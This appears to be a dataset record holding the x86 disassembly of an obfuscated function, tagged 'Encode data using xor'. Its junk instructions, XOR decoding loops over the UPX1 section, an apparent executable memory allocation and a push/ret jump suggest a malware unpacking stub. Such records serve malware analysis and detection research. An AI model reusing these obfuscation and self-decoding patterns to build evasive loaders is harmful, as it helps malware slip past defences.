Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x33521cf8
sub ecx, 0x8f2d78c5
sub ecx, 1
popal
mov esi, 0x1b535c22
add ecx, 0x9e696d54
mov ebx, 0
mov edx, ecx
add esi, 0xff0ac34f
add eax, esi
and esi, eax
mov edi, edx
sub esi, eax
add eax, 0x8a6f2ace
mov ecx, edi
mov esi, eax
mov esi, eax
inc ebx
mov esi, eax
inc esi
mov eax, 0xb2f0363e
cmp ebx, 0x100dbe5
jne 0xa789cf
sub eax, esi
add eax, eax
and esi, ecx
add esi, esi
mov esi, 0xa78796
inc eax
and ecx, edx
add eax, 0xfdaf27e4
mov ebx, 0xa7898a
sub ecx, edx
sub eax, 0xa30362d2
sub edx, 1
mov edi, dword [esi]
dec edx
sub ecx, 0x7eda6470
and edi, 0xff
not eax
mov eax, ecx
xor dword [ebx], edi
add edx, edx
sub eax, edx
not edx
inc ebx
sub edx, ecx
add edx, edx
inc esi
add eax, eax
not edx
not ecx
cmp ebx, entry0
jl 0xa78a29
and eax, edx
mov eax, 0x5d600fa1
or ecx, ecx
and ecx, eax
sub eax, 1
sub esi, 1
sub edx, esi
mov ebx, 0xa7898e
dec edi
mov esi, 0x5b7dbdeb
mov ebx, dword [ebx]
add ecx, 0xf2c94b22
or ecx, edi
mov ebx, dword [ebx]
add edi, 0xd8627033
sub edi, ecx
inc esi
push ebx
sub ecx, edi
add esi, 0x4b28736d
mov ebx, 0xa7898a
sub ecx, 1
or ecx, edx
mov ebx, dword [ebx]
and ecx, edi
add edi, 0xee8dd480
add edx, 0x677edf8
mov ebx, dword [ebx]
or esi, esi
not edx
push 0xa78992
add esi, 0x8c4f3300
or edi, esi
call ebx
mov edi, edx
and edx, esi
pop ebx
mov edx, ecx
add edx, 0x88f28575
push 0xa7899f
mov edi, esi
not ecx
mov edx, 0xa946b094
sub esp, 4
mov dword [esp], eax
or esi, edx
mov edi, 0x1fffb6b7
call ebx
mov edx, 0x2e0a5654
sub edi, 1
add edi, 0xc9c61025
sub esp, 4
mov dword [esp], 0x40
add edi, esi
mov ecx, edx
dec edi
push 0x3000
mov esi, edi
and esi, esi
mov edx, 0x6b603a54
push 0x200001e0
sub ecx, edx
add ecx, ecx
sub esp, 4
mov dword [esp], 0
add edx, 0x9af25c73
sub ecx, 0x8000144e
or ecx, edi
call eax
sub edi, esi
sub esi, 0xf3eac622
sub edi, esi
add eax, 0x2000014b
mov esi, 0x444eede4
not edx
mov ebx, 0x2666ecbc
or esi, esi
sub ecx, 1
add edx, 0x3c1f2588
mov dword [eax], ebx
or edi, edi
add esi, ecx
mov ebx, dword [eax]
mov edi, 0x7ac17450
or edx, edx
cmp ebx, 0x2666ecbc
je 0xa78b93
mov ecx, 0
mov al, byte [ecx]
and edi, esi
sub edi, esi
sub esi, ecx
add esi, 0x8d0e0872
add esi, 0x1aae3979
inc esi
mov ebx, section.UPX1
add esi, 0x98398842
sub ecx, esi
sub esi, 0x805f7a60
mov edx, 0xa78795
or esi, ecx
mov esi, ecx
mov eax, 0
not ecx
mov esi, 0xe9b6d0e0
add esi, ecx
mov edi, 0xa78796
sub esi, ecx
not esi
lea edi, [edi + eax]
add ecx, ecx
add esi, esi
mov edi, dword [edi]
inc ecx
sub esi, 0x46ad2089
and edi, 0xff
and esi, ecx
sub ecx, esi
inc eax
sub ecx, 1
not ecx
and esi, esi
cmp eax, 0x1f4
jne 0xa78c0b
mov eax, 0
not esi
and ecx, ecx
not esi
sub ecx, 1
xor dword [ebx], edi
not esi
and esi, esi
add ebx, 2
mov esi, 0x935d2eeb
not esi
sub esi, 0x23d6c78
cmp ebx, edx
jl 0xa78bd0
add esi, ecx
inc ecx
mov esi, ecx
mov ecx, 0x12a41b8d
or ecx, ecx
mov ebx, section.UPX1
add edi, 1
sub edi, 0x8580c090
mov eax, section.UPX1
sub edi, ecx
dec edi
mov esi, 0xa78795
sub ecx, 0x61748a34
mov ecx, 0xd0dea360
inc ecx
mov edx, 0
sub edi, 0xe4ff5f5c
not edi
mov dl, byte [eax]
inc edi
add edi, edi
mov ecx, 0xd7c52491
mov byte [ebx], dl
mov edi, ecx
inc edi
inc ebx
and ecx, ecx
mov ecx, 0x359a9e55
add eax, 2
inc edi
sub edi, ecx
cmp eax, esi
jle 0xa78c7b
inc edi
or edi, ecx
sub ecx, esi
or esi, ecx
and ecx, ecx
push 0x8dc6a0
inc esi
and esi, esi
ret